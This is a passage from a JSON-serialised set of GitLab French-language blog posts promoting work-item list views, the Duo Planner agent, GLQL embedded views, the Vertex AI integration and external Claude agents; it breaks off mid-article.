autour des listes d'epics et de tickets existantes auront désormais un design différent, et nous en sommes conscients.\n\nCette orientation a été mûrement réfléchie et reflète des années de retours des utilisateurs, un investissement architectural significatif dans le framework des éléments de travail et la conviction profonde qu'une expérience unifiée servira mieux les équipes à long terme. Nous nous attendons à ce que la transition nécessite certains ajustements, et nous continuerons à itérer en fonction de vos retours.\n\n## Donnez votre avis\nNous vous encourageons à essayer ces nouvelles fonctionnalités. N'hésitez pas à nous faire part de votre expérience avec la liste des éléments de travail et les vues enregistrées dans ce [ticket](https://gitlab.com/gitlab-org/gitlab/-/work_items/590689). Vos retours nous aideront à améliorer davantage ces fonctionnalités.",[797,798,756],"Agile","features","2026-03-23","Nouvelles fonctionnalités de GitLab 18.10 : renforcer la planification Agile","La liste des éléments de travail et les vues enregistrées réduisent les changements de contexte pour favoriser la concentration de votre équipe de développement logiciel et maintenir des workflows efficaces.",[803],"Matthew Macfarlane","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png",{"featured":13,"template":806,"slug":807},"BlogPost","agile-planning-gets-a-boost-from-new-features-in-gitlab-18-10",{"content":809,"config":821},{"title":810,"description":811,"heroImage":812,"date":813,"body":814,"category":651,"tags":815,"authors":818},"Maîtrisez votre planification sans changer de contexte","Découvrez comment l'agent GitLab Duo Planner simplifie les tâches, fait gagner du temps et aide les responsables produits et ingénierie à se concentrer sur leur cœur de métier.\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2025-11-10","Les équipes de développement logiciel font face à un défi complexe : des dizaines de tâches, un temps limité et une pression constante pour choisir leur prochain projet. La charge administrative liée à la structuration des exigences, à la gestion des backlogs, au suivi des livraisons et à la rédaction des rapports d'avancement prive les équipes d'heures précieuses qui pourraient être consacrées à la réflexion stratégique.\n\nRésultat ? Le temps manque pour les décisions à forte valeur ajoutée qui contribuent réellement au développement des produits. C'est exactement pour cette raison que nous avons développé [GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/), un agent d'IA construit sur [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) qui assiste les responsables produits directement au sein de GitLab. GitLab Duo Planner n'est pas un simple assistant d'IA générique. Les équipes produits et ingénierie de GitLab, qui rencontrent ces défis au quotidien comme beaucoup de nos clients, ont conçu GitLab Duo Planner spécifiquement pour orchestrer les workflows de planification, réduire les tâches administratives et améliorer l'alignement et la prévisibilité.\n\n## Votre nouveau collègue dédié à la planification\n\nLes workflows de planification actuels sont confrontés à trois problèmes majeurs :\n\n1. Tendance à la dérive : le travail non planifié et orphelin ébranle la vision d'ensemble.\n2. Perturbation des équipes : les interruptions constantes liées aux mises à jour de statut empêchent la concentration.\n3. Opacité : les risques cachés apparaissent trop tard pour corriger la trajectoire.\n\nTransformant la façon dont les équipes travaillent, GitLab Duo Planner convertit en quelques minutes des idées vagues en exigences structurées : il détecte les problèmes cachés dans le backlog avant qu'ils n'impactent les sprints et applique instantanément les frameworks RICE et MoSCoW afin de faciliter le classement des priorités. Grâce à sa connaissance du contexte sur l'ensemble de la plateforme GitLab, chaque interaction avec GitLab Duo Planner fait gagner du temps et améliore la qualité des décisions. Fort de son architecture de base construite sur les agents, il apporte une expertise approfondie et une connaissance du contexte spécifique à GitLab.\n\n\n## Conçu pour les équipes\n\nGitLab Duo Planner exploite les éléments de travail (epics, tickets, tâches) et comprend les nuances des structures de répartition des tâches, l'analyse des dépendances et l'estimation des efforts. C'est un agent idéal pour améliorer la visibilité, l'alignement et la confiance dans la livraison logicielle.\n\n* Approche plateforme : contrairement aux solutions ponctuelles, GitLab Duo Planner orchestre l'ensemble de votre plateforme GitLab, de la planification au développement en passant par les tests. De plus, il offre une visibilité sur les équipes et les workflows.\n\n* Intégration dans les workflows : plus besoin de changer de contexte entre différents outils ni de parcourir des centaines de pages sur GitLab pour trouver des informations. GitLab Duo Planner permet aux utilisateurs de contribuer, de collaborer et de maintenir la transparence tout au long du cycle de développement logiciel.\n\n* Économie de temps et d'efforts : fini les tâches de coordination répétitives avec GitLab Duo Planner. Il améliore la prévisibilité des livraisons, réduit les engagements non tenus et met l'accent sur les projets à fort impact.\n\n## Oubliez le chaos, place à la clarté\n\nGitLab Duo Planner peut vous aider à différentes étapes de la planification et de la livraison de logiciels, car il opère dans le cadre de la planification et offre un environnement sécurisé et délimité avec une visibilité sur les projets.\n\nL'agent peut vous aider de six manières différentes :\n\n* Priorisation : appliquez des frameworks comme RICE, MoSCoW ou WSJF pour classer intelligemment les éléments de travail.\n\n* Décomposition des tâches : décomposez les initiatives en epics, fonctionnalités et user stories pour structurer les exigences.\n\n* Analyse des dépendances : identifiez les tâches bloquées et comprenez les relations entre les éléments pour maintenir la vélocité.\n\n* Planification : organisez les sprints, les jalons ou la planification trimestrielle.\n\n* Création de rapports : générez des résumés de l'avancement du projet, des risques et des blockers pour suivre la livraison.\n\n* Gestion du backlog : identifiez les tickets obsolètes, les doublons ou les éléments à affiner pour améliorer la qualité des données.\n\n\nVoici un exemple de la façon dont GitLab Duo Planner peut vérifier le statut d'une initiative :\n\n\u003Cdiv>\u003Ciframe src=\"https://player.vimeo.com/video/1131065078?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Planner Agent\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\nGitLab Duo Planner est disponible en tant qu'agent personnalisé dans le panneau latéral de GitLab Duo Chat, avec le contexte de la page actuelle.\n\n\u003Cp>\u003C/p>\n\n![GitLab Duo Planner en tant qu'agent personnalisé dans le panneau latéral de GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/ener1mkyj9shg6zvtp4f.png)\n\n\u003Cp>\u003C/p>\n\nDemandons à GitLab Duo Planner le statut d'une initiative en fournissant le lien vers l'epic :\n\n![Demander à GitLab Duo Planner le statut d'une initiative en fournissant le lien vers l'epic](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/gzv2xudegtjhtesz1oaz.png)\n\n\u003Cp>\u003C/p>\n\nNous recevons un résumé structuré avec une vue d'ensemble, le statut actuel des jalons, les éléments en cours, les dépendances et les blockers, ainsi que des recommandations concrètes.\n\n![Résumé structuré](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/guoyqe1b9bstmbjzunez.png)\n\n\u003Cp>\u003C/p>\n\nEnsuite, demandons un executive summary à partager avec les parties prenantes : GitLab Duo Planner élimine des heures d'analyse manuelle et d'efforts dédiés à la création de rapports. De plus, il aide à prendre des décisions plus rapidement et à tenir toutes les parties prenantes informées.\n\n![Demander un executive summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/xs9zxawqrytfu54ejx2b.png)\n\n\n\u003Cp>\u003C/p>\n\n![Résultat de l'executive summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/bsbpvjaqnymobzg4knhu.png)\n\n\u003Cp>\u003C/p>\n\nVoici quelques autres prompts que vous pouvez essayer avec GitLab Duo Planner :\n\n* « Quels bogues avec le label “boards” devrions-nous corriger en premier, en tenant compte de l'impact utilisateur ? »\n* « Classe ces epics par valeur stratégique pour le T1. »\n* « Aide-moi à prioriser la dette technique par rapport aux nouvelles fonctionnalités. »\n* « Quelles tâches sont nécessaires pour implémenter cette user story ? »\n* « Suggère une approche par phases pour ce projet : (insérer URL). »\n\n## Prochaines étapes\n\nGitLab Duo Planner se concentre intentionnellement sur les responsables produits et ingénierie qui travaillent dans des environnements Agile, car ce sont les secteurs spécialisés qui améliorent les performances. En entraînant GitLab Duo Planner en profondeur sur les workflows de planification de GitLab et les frameworks Agile, nous fournissons des informations fiables et concrètes plutôt que des suggestions génériques.\n\nNotre vision pour la plateforme ? Une famille d'agents spécialisés, où chacun sera optimisé pour des workflows spécifiques, mais contribuera aussi à une couche d'intelligence unifiée. L'agent GitLab Duo Planner d'aujourd'hui pour les équipes logicielles n'est que le début de la façon dont l'IA transformera la priorisation du travail au sein des organisations.\n\n> Si vous êtes déjà client GitLab et que vous souhaitez essayer GitLab Duo Planner avec votre propre prompt, consultez notre [documentation](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) qui détaille les prérequis, les cas d'utilisation et plus encore.",[816,817,798,756],"AI/ML","agile",[819,820],"Aathira Nair","Amanda Rueda",{"featured":13,"template":806,"slug":822},"ace-your-planning-without-the-context-switching",{"content":824,"config":836},{"body":825,"title":826,"description":827,"authors":828,"heroImage":831,"date":832,"category":651,"tags":833},"Vous arrive-t-il de basculer entre plusieurs onglets dans GitLab simplement pour suivre ce qui se passe dans votre projet ? Peut-être consultez-vous un ticket, puis passez à une merge request, et enfin à un epic pour avoir une vue d'ensemble. Sans vous en rendre compte, votre navigateur déborde d'onglets et vous avez perdu le fil.\n\n\nSi cette situation vous semble familière, vous n'êtes certainement pas seul. De nombreuses équipes perdent du temps et de l'énergie à naviguer entre différents éléments dans leur logiciel de gestion de projet, alors qu'elles essaient simplement de suivre leur travail.\n\n\nC'est justement pour répondre à ce problème que nous avons créé les [vues intégrées](https://docs.gitlab.com/user/glql/#embedded-views), alimentées par [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). [Disponible dans la version 18.3](https://about.gitlab.com/fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/), cette fonctionnalité fournit un aperçu des informations pertinentes en temps réel là où vous travaillez déjà dans GitLab. Fini le changement de contexte permanent et les rapports obsolètes : vous disposez des informations dont vous avez besoin, au moment précis où vous en avez besoin.\n\n\n## Pourquoi utiliser les vues intégrées ?\n\n\nLes vues intégrées représentent bien plus qu'une nouvelle fonctionnalité : elles constituent un changement fondamental dans la façon dont les équipes comprennent et suivent leur travail au sein de GitLab. Avec les vues intégrées, les équipes ne changent pas de contexte et accèdent aux informations dont elles ont besoin en temps réel. Ainsi, elles profitent d'une vision commune sans jamais quitter leur workflow actuel et renforcent leur collaboration. Grâce à un suivi du travail facilité et sans effort, les équipes peuvent se concentrer sur l'essentiel.\n\n\n## Des données en temps réel là où vous en avez besoin\n\n\nLes vues intégrées permettent d'insérer des requêtes GLQL dynamiques dans des blocs de code Markdown à travers des pages [wiki](https://about.gitlab.com/fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/), des epics, des tickets et des merge requests. \n\n\nElles offrent de nombreux avantages :\n\n\n### Mises à jour en continu\n\n\nLes requêtes GLQL sont dynamiques et extraient des données actualisées à chaque chargement de page. Ainsi, vos vues intégrées reflètent toujours l'état actuel de votre travail, et non le moment où vous avez ajouté cette vue. Lorsque des modifications sont apportées aux tickets, aux merge requests ou aux jalons, la page s'actualise et affiche ces mises à jour dans votre vue intégrée.\n\n\n### Contexte\n\n\nUtilisez des fonctions comme `currentUser()` et `today()` pour que vos requêtes s'appliquent à un contexte spécifique. Vos vues intégrées s'adaptent automatiquement pour afficher les informations pertinentes en fonction de la personne qui les consulte et offrent ainsi une expérience personnalisée sans configuration manuelle.\n\n\n### Filtrage puissant\n\n\nVous avez à disposition des filtres comme l'assigné, l'auteur, le label, le jalon, l'indicateur de progression, la date de création et plus encore. Il vous suffit d'utiliser des expressions logiques pour obtenir exactement les données souhaitées. Nous prenons en charge plus de 30 champs de filtres depuis la version 18.3.\n\n\n### Affichage personnalisable\n\n\nVous pouvez afficher vos données sous forme de tableau, de liste ou de liste numérotée. Choisissez les champs à afficher, définissez une limite du nombre d'éléments et indiquez l'ordre de tri pour profiter d'un affichage ciblé et exploitable.\n\n\n### Disponibilité\n\n\nVous pouvez utiliser les vues intégrées dans les wikis de groupe et de projet, les descriptions d'epics et de tickets, les merge requests et les commentaires. GLQL est disponible sur la version gratuite de GitLab, GitLab Premium, GitLab Ultimate, GitLab.com, GitLab Self-Managed et GitLab Dedicated. Certaines fonctionnalités, telles que l'affichage des epics, du statut, des champs personnalisés, des itérations et des poids, sont disponibles uniquement pour les utilisateurs de GitLab Premium et GitLab Ultimate. L'affichage de l'indicateur de progression est disponible uniquement dans GitLab Ultimate.\n\n\n## Découvrez les vues intégrées en action\n\n\nLa syntaxe du code source d'une vue intégrée est un sur-ensemble de YAML qui comprend :\n\n\n* Le paramètre `query` : des expressions reliées par un opérateur logique, tel que `and`.\n\n\n* Des paramètres liés à la couche de présentation, comme `display`, `limit`, ou `fields`, `title` et `description` représentés en YAML.\n\n\nUne vue est définie en Markdown comme un bloc de code, similaire à d'autres blocs de code comme Mermaid.\n\n\nPar exemple :\n\n- Afficher un tableau des 5 premiers tickets ouverts assignés à l'utilisateur authentifié dans `gitlab-org/gitlab`.\n- Afficher les colonnes `title`, `state`, `health`, `epic`, `milestone`, `weight` et `updated`.\n\n\n````yaml\n```glql display: table title: GLQL table 🎉 description: This view lists my open issues fields: title, state, health, epic, milestone, weight, updated limit: 5 query: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n``` ````\nLe tableau généré devrait ressembler à celui ci-dessous :\n\n![Vue intégrée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\n\nPour créer votre première vue intégrée, accédez au menu déroulant **Plus d'options** dans la barre d'outils de l'éditeur de texte enrichi. Une fois dans cette barre d'outils, sélectionnez **Vue intégrée**. \n\n\nLa requête suivante sera insérée dans un bloc de code Markdown :\n\n\n````yaml ```glql query: assignee = currentUser() fields: title, createdAt, milestone, assignee title: Issues assigned to current user\n``` ````\n\n\n\nEnregistrez vos modifications dans le commentaire ou la description où le bloc de code apparaît, et c'est terminé : vous avez créé votre première vue intégrée !\n\n\n## Comment GitLab utilise les vues intégrées\n\n\nQue ce soit pour suivre les merge requests relatives à des versions de sécurité, trier les bogues pour améliorer le backlog ou gérer l'intégration de l'équipe et la planification des jalons, nous nous servons des vues intégrées quotidiennement pour des processus essentiels. Il ne s'agit pas simplement d'une fonctionnalité que nous avons développée, c'est un outil dont nous dépendons pour gérer efficacement notre activité. Adopter les vues intégrées, c'est profiter d'une solution éprouvée qui aide déjà les équipes de GitLab à travailler plus efficacement, à prendre des décisions basées sur les données et à bénéficier d'une visibilité sur des workflows complexes. \n\n\nPour résumer, les vues intégrées peuvent transformer la façon dont votre équipe gère et analyse les tâches au cœur de votre travail.\n\n\nPour en savoir plus sur la façon dont GitLab utilise les vues intégrées en interne, consultez l’article [« Comment GitLab mesure l'impact de la Red Team : la métrique du taux d'adoption »](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/) et les tickets de planification concernant la version de recherche globale pour les jalons [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241) et [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245).\n\n\n## Prochaines étapes\n\n\n[Les vues intégrées](https://docs.gitlab.com/user/glql/) ne sont que le début de la vision du groupe Knowledge consacrée au suivi du travail. Découvrez nos futurs projets dans l'[epic post disponibilité générale des vues intégrées](https://gitlab.com/groups/gitlab-org/-/epics/15249). En ce qui concerne l'évolution de cette fonctionnalité, nous nous engageons à renforcer son efficacité et son [accessibilité](https://gitlab.com/gitlab-org/gitlab/-/issues/548722).\n\n\n## Partagez votre expérience\n\n\nPartagez vos retours dans le [ticket dédié aux vues intégrées en disponibilité générale](https://gitlab.com/gitlab-org/gitlab/-/issues/509792). Que vous ayez découvert des cas d'utilisation innovants, rencontré des défis ou que vous ayez des idées d'amélioration, nous voulons connaître votre avis.\n","Vues intégrées : l'avenir du suivi des tâches dans GitLab","Découvrez comment les vues intégrées aident les équipes de GitLab à travailler plus efficacement, à prendre des décisions basées sur les données et à bénéficier d’une visibilité sur des workflows complexes.",[803,829,830],"Himanshu Kapoor","Alex Fracazo","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png","2025-09-09",[817,834,835],"workflow","DevSecOps platform",{"featured":652,"template":806,"slug":837},"embedded-views-the-future-of-work-tracking-in-gitlab",{"category":667,"slug":665,"posts":839},[840,854,866],{"content":841,"config":852},{"title":842,"description":843,"authors":844,"body":847,"heroImage":848,"date":849,"category":665,"tags":850},"GitLab et Vertex AI sur Google Cloud : vers un développement logiciel agentique","Découvrez comment les clients Google Cloud adoptent GitLab et Vertex AI pour les modèles de base, les contrôles d'entreprise et la richesse de Model Garden.\n",[845,846],"Regnard Raquedan","Rajesh Agadi","GitLab Duo Agent Platform redéfinit la façon dont les organisations conçoivent, sécurisent et livrent leurs logiciels. Depuis sa disponibilité générale en janvier 2026, la plateforme intègre l'IA agentique à chaque phase du cycle de développement logiciel. GitLab Duo Agent Platform constitue une couche d'orchestration intelligente au sein de laquelle les équipes de développement et leurs agents spécialisés planifient, codent, révisent et corrigent ensemble les vulnérabilités de sécurité.\n\nGrâce à ce partenariat, [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) automatise l'orchestration du développement logiciel et la gestion du contexte du cycle de vie via son intégration à Vertex AI sur Google Cloud, qui alimente la couche de modèles pour les appels d'agents. Les équipes continuent de travailler sur les tickets, les merge requests, les pipelines et les workflows de sécurité, tandis que l'inférence suit la posture Google Cloud qu'elles ont déjà définie.\n\nLes avancées des modèles Vertex AI de Google Cloud élargissent les possibilités d'utilisation de GitLab Duo Agent Platform pour les clients Google Cloud. Ces derniers bénéficient d'un plan de contrôle [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps?\") alimenté par l'IA dans GitLab, soutenu par une infrastructure d'IA en constante évolution dans Vertex AI, ainsi que par les options de déploiement et d'intégration flexibles de GitLab Duo Agent Platform. Cette combinaison permet des workflows agentiques plus performants et mieux gouvernés, opérant à l'échelle de l'entreprise.\n\n![Illustration conceptuelle de GitLab Duo Agent Platform intégré à Vertex AI de Google Cloud pour alimenter le développement logiciel agentique et les workflows d'IA gouvernés](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776165990/b7jlux9kydafncwy8spc.png)\n\n## Des agents qui interviennent tout au long du cycle de vie\n\nDe nombreux outils d'IA se concentrent sur une seule tâche : accélérer la [génération de code](https://about.gitlab.com/fr-fr/topics/devops/ai-code-generation-guide/ \"Génération de code\"). GitLab Duo Agent Platform va plus loin. La plateforme orchestre des agents d'IA sur l'ensemble du cycle de vie du développement logiciel (SDLC), de la planification à la livraison en passant par les contrôles de sécurité, et ce pour de nombreuses équipes travaillant sur de multiples projets et releases. À cette échelle, les assistants d'IA pour le code sont indispensables à l'innovation continue, mais ne suffisent pas à eux seuls.\n\nLes assistants de codage à usage unique ont rarement une vision complète de l'état d'un projet. Le backlog, les merge requests en attente, les jobs en échec et les résultats de sécurité sont disponibles dans GitLab, mais une fenêtre de chat distincte dans un assistant de codage n'hérite pas de cette vue d'ensemble du [SDLC](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"Qu'est-ce que le SDLC?\"). Ce manque se traduit par des transferts manuels, des explications répétées à une IA dépourvue de contexte, et des équipes de gouvernance qui tentent de cartographier les flux de données entre des outils qui n'ont jamais été conçus comme un système unifié.\n\nGitLab Duo Agent Platform contribue à combler ce fossé en exécutant des agents et des flows sur les mêmes objets que ceux utilisés quotidiennement par les équipes d'ingénierie. Vertex AI fournit ensuite les modèles et services que ces agents sollicitent lorsque Google Cloud est votre environnement d'inférence de référence, la passerelle d'IA (AI-Gateway) de GitLab gérant les accès afin que les administrateurs disposent d'une cartographie claire des connexions. Par exemple, l'agent Planner analyse les backlogs, décompose les epics en tâches structurées et applique des frameworks de priorisation pour aider les équipes à décider de ce qu'elles doivent développer ensuite. L'agent Security Analyst trie les vulnérabilités, détaille les risques en langage clair et recommande des mesures correctives par ordre de priorité. Des flows intégrés connectent ces agents au sein de processus de bout en bout, sans que les équipes de développement aient à gérer chaque transfert manuellement.\n\nAgentic Chat dans GitLab Duo Agent Platform offre une expérience unifiée pour les équipes de développement. Elles formulent des requêtes en langage naturel pour obtenir des réponses contextuelles basées sur un raisonnement multi-étapes qui s'appuie sur l'état complet d'un projet : ses tickets, ses merge requests, ses pipelines, ses résultats de sécurité et son code source. GitLab servant de système d'enregistrement pour le SDLC avec un modèle de données unifié, les agents GitLab Duo opèrent dans un contexte de cycle de vie qui échappe aux assistants d'IA autonomes et spécifiques à un outil.\n\n### Amplifiés par Vertex AI\n\nGitLab Duo Agent Platform est conçue pour offrir une flexibilité en matière de modèles, en attribuant différentes capacités à différents modèles en fonction de ceux qui offrent les meilleures performances pour une tâche donnée. Ce choix architectural porte ses fruits sur Google Cloud, où Vertex AI joue le rôle d'environnement géré pour les modèles de base et les services associés, offrant un vaste écosystème de modèles et une infrastructure gérée qui contribuent à repousser encore plus loin les capacités de la plateforme.\n\nLes dernières générations de modèles d'IA disponibles via Vertex AI apportent des améliorations significatives en matière de raisonnement, d'utilisation des outils et de compréhension des contextes longs par rapport aux versions précédentes. Des propriétés sur lesquelles s'appuient les agents de GitLab sur de nombreux projets et équipes disposant de codes sources volumineux et complexes. Des fenêtres de contexte plus longues et une intégration plus riche des outils dans les modèles sous-jacents élargissent ce que les agents peuvent accomplir en une seule action, ce qui est particulièrement important pour des charges de travail telles que l'analyse approfondie du backlog ou le contrôle de sécurité d'un monorepo.\n\n[Vertex AI Model Garden](https://cloud.google.com/model-garden), avec son accès à un large éventail de modèles de base, offre aux clients la flexibilité nécessaire pour effectuer ces choix en fonction des performances, des coûts et des exigences réglementaires, plutôt que d'être contraints par un fournisseur unique.\n\nPar ailleurs, les clients de GitLab peuvent utiliser Bring Your Own Model (BYOM) pour GitLab Duo Agent Platform, afin que les fournisseurs et les passerelles approuvés s'intègrent là où votre modèle de sécurité l'exige. L'article [sur GitLab Duo Agent Platform Self-Hosted et BYOM](https://about.gitlab.com/fr-fr/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/) décrit le fonctionnement de cette configuration. Grâce à cette option de déploiement, les clients accèdent à un plus large éventail d'options de modèles qu'ils peuvent adapter à leur processus de développement logiciel : le bon modèle pour le bon workflow, avec les bonnes mesures de protection.\n\nPour GitLab, la décision de s'appuyer sur Vertex AI a été motivée par le besoin d'une fiabilité de niveau entreprise et d'une gamme de modèles inégalée. Vertex AI et Model Garden prennent entièrement en charge les aspects les plus complexes de l'hébergement des [grands modèles de langage (LLM)](https://about.gitlab.com/fr-fr/blog/large-language-model/ \"Qu'est-ce qu'un LLM ?\"), ce qui signifie que la livraison rapide de versions, la robustesse de la sécurité et la rigueur de la gouvernance sont intégrées de façon transparente dans l'intégration. Au-delà de l'offre de modèles Gemini, Vertex AI offre un accès mondial à faible latence à un vaste catalogue de modèles tiers et [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\").\n\nCombiné à l'approche de pointe de Google Cloud en matière de confidentialité des données et de protection des modèles, Vertex AI s'est imposé comme le choix évident pour alimenter l'[expérience développeur](https://about.gitlab.com/fr-fr/topics/devops/what-is-developer-experience/ \"Expérience développeur\") nouvelle génération de GitLab.\n\nEn intégrant Vertex AI Model Garden à son backend, GitLab renforce considérablement sa plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") sans en répercuter la complexité sur les utilisateurs. Les équipes de développement n'ont pas à évaluer ni à gérer les LLM sous-jacents ; elles bénéficient au contraire d'un workflow simplifié et assisté par l'IA pour construire leurs applications.\n\nGitLab gère entièrement l'orchestration cloud, permettant aux équipes de développement de se concentrer pleinement sur l'écriture d'un code de qualité, tandis que Vertex AI alimente les fonctionnalités qui les accompagnent.\n\n## Ce que cela signifie pour les clients Google Cloud\n\nGitLab Duo Agent Platform fournit déjà des agents d'IA qui opèrent sur l'ensemble du cycle de vie logiciel au sein d'un système d'enregistrement unique et gouverné. Sur Google Cloud, la plateforme favorise une innovation rapide à mesure que Vertex AI continue de faire évoluer les couches de modèles et d'infrastructure.\n\nPour les clients Google Cloud, cette intégration se traduit par une livraison logicielle rationalisée tout en maintenant une gouvernance d'entreprise stricte. Pour les équipes d'ingénierie de plateforme, cela signifie normaliser les modèles Vertex qui alimentent les suggestions, les analyses et les corrections dans GitLab, plutôt que de répertorier des dizaines d'outils côté client. Les programmes de sécurité en bénéficient lorsque les agents proposent et valident des correctifs au même endroit où les équipes trient déjà les résultats, réduisant ainsi les changements de contexte et les tâches qui s'échapperaient autrement vers des canaux non gérés.\n\nDu point de vue de l'économie et des politiques cloud, orienter l'inférence des agents vers Vertex depuis GitLab maintient l'utilisation à proximité des accords et contrôles déjà en place sur Google Cloud, ce qui contribue à éviter les dépenses redondantes et les chemins parallèles qui contournent les processus d'approvisionnement.\n\nVertex AI étant un fournisseur d'infrastructure sous-jacente de GitLab Duo Agent Platform, les organisations peuvent considérablement accroître la productivité de leurs équipes de développement sans les contraintes et les risques liés à la gestion de chaînes d'outils d'IA fragmentées. Les équipes restent alignées au sein d'un système d'enregistrement unique et sécurisé, ce qui leur permet de construire des applications plus rapidement et de livrer en toute confiance.\n\nLa collaboration entre GitLab et Google Cloud se construit depuis 2018. Aujourd'hui, elle représente l'une des collaboration les plus complètes pour les organisations qui souhaitent passer d'expérimentations en matière d'IA à un développement logiciel agentique entièrement gouverné sur Google Cloud. À mesure que les deux plateformes continuent d'évoluer, GitLab en élargissant son orchestration d'agents et son contexte développeur, et Vertex AI en repoussant les limites des capacités des modèles et de l'infrastructure des agents, la valeur ajoutée pour les clients communs ne cessera de croître.\n\n> [Commencer un essai gratuit de GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/free-trial/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) pour découvrir la puissance de GitLab et Vertex AI sur Google Cloud.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","2026-04-15",[816,259,851,730,756],"google",{"featured":13,"template":806,"slug":853},"gitlab-and-vertex-ai-on-google-cloud",{"content":855,"config":864},{"title":856,"description":857,"authors":858,"heroImage":860,"date":861,"body":862,"category":665,"tags":863},"Accélérez votre développement avec GitLab Duo Agent Platform et Claude","Découvrez comment tirer parti des modèles d'IA externes comme Claude d'Anthropic pour automatiser la génération de code et la création de pipelines directement dans GitLab.",[859],"Cesar Saavedra","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058602/epl3sinfezlzxnppxak6.png","2026-04-09","Les équipes de développement logiciel modernes sont confrontées à un défi majeur : comment maintenir la cadence de développement tout en garantissant la qualité du code, la sécurité et la cohérence dans le cadre de projets complexes ?\n\nBien que les assistants IA pour le code aient accéléré la productivité individuelle des équipes, ils fonctionnent souvent en marge du workflow de développement global. Ce manque d'intégration oblige les développeurs à basculer constamment entre différents outils, à traduire manuellement les suggestions de l'IA en code exploitable et à consacrer un temps précieux à des tâches répétitives qui pourraient être automatisées.\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) résout ce problème en offrant une intégration transparente avec des modèles d'IA externes comme Claude d'Anthropic, Codex d'OpenAI et bien d'autres encore.\n\nEn créant des agents externes au sein de GitLab Duo Agent Platform, les organisations peuvent personnaliser les capacités de l'IA selon leurs besoins, workflows et normes spécifiques, directement dans l'environnement GitLab qu'elles connaissent. Les agents comprennent le contexte de votre projet, respectent vos normes de code et peuvent accomplir de manière autonome des tâches complexes en plusieurs étapes, de l'idée initiale au code prêt pour la production.\n\nRegardez cette démonstration vidéo et suivez les étapes ci-dessous pour vous lancer :\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/BPmoVCeyWJA?si=50ktjKxPUNpicXve\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\n## Cas d'utilisation concrets\n\nVoici trois cas d'utilisation qui illustrent comment les agents externes transforment le cycle de vie du développement :\n\n### 1. De l'idée au code\n\nEn partant d'un projet vide et d'une description détaillée du ticket, l'agent externe (dans ce cas, Claude) prend en charge l'intégralité du développement de l'application. Le titre du ticket correspond à l'application souhaitée et la description énumère ses spécifications.\n\nL'agent lit le contexte (informations du projet, ressources associées, etc.), analyse les exigences détaillées dans le ticket, génère une application web Java full stack avec les composants d'interface utilisateur appropriés, implémente la logique métier avec les taux d'intérêt indiqués et crée une merge request comprenant l'ensemble du code prêt à être révisé.\n\nL'application générée inclut des classes Java backend, des fichiers HTML/CSS/JavaScript frontend et la configuration du build en fonction des spécifications du ticket d'origine. Les équipes peuvent ensuite tester l'application localement, vérifier les fonctionnalités et continuer à itérer avec l'agent par le biais d'une conversation en langage naturel.\n\n![Ticket détaillant les exigences de l'application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/irzlmm0gukanjt7ryq9b.png \"Ticket détaillant les exigences de l'application\")\n\n\n\n![Prompt pour que l'agent externe crée une merge request avec implémentation de l'application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/ajr6nquefob7lefdcxng.png \"Prompt pour que l'agent externe crée une merge request avec implémentation  de l'application\")\n\n\n\n\n![Implémentation terminée par l'agent externe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/gbwwawybg9u4jzibuurw.png \"Implémentation terminée par l'agent 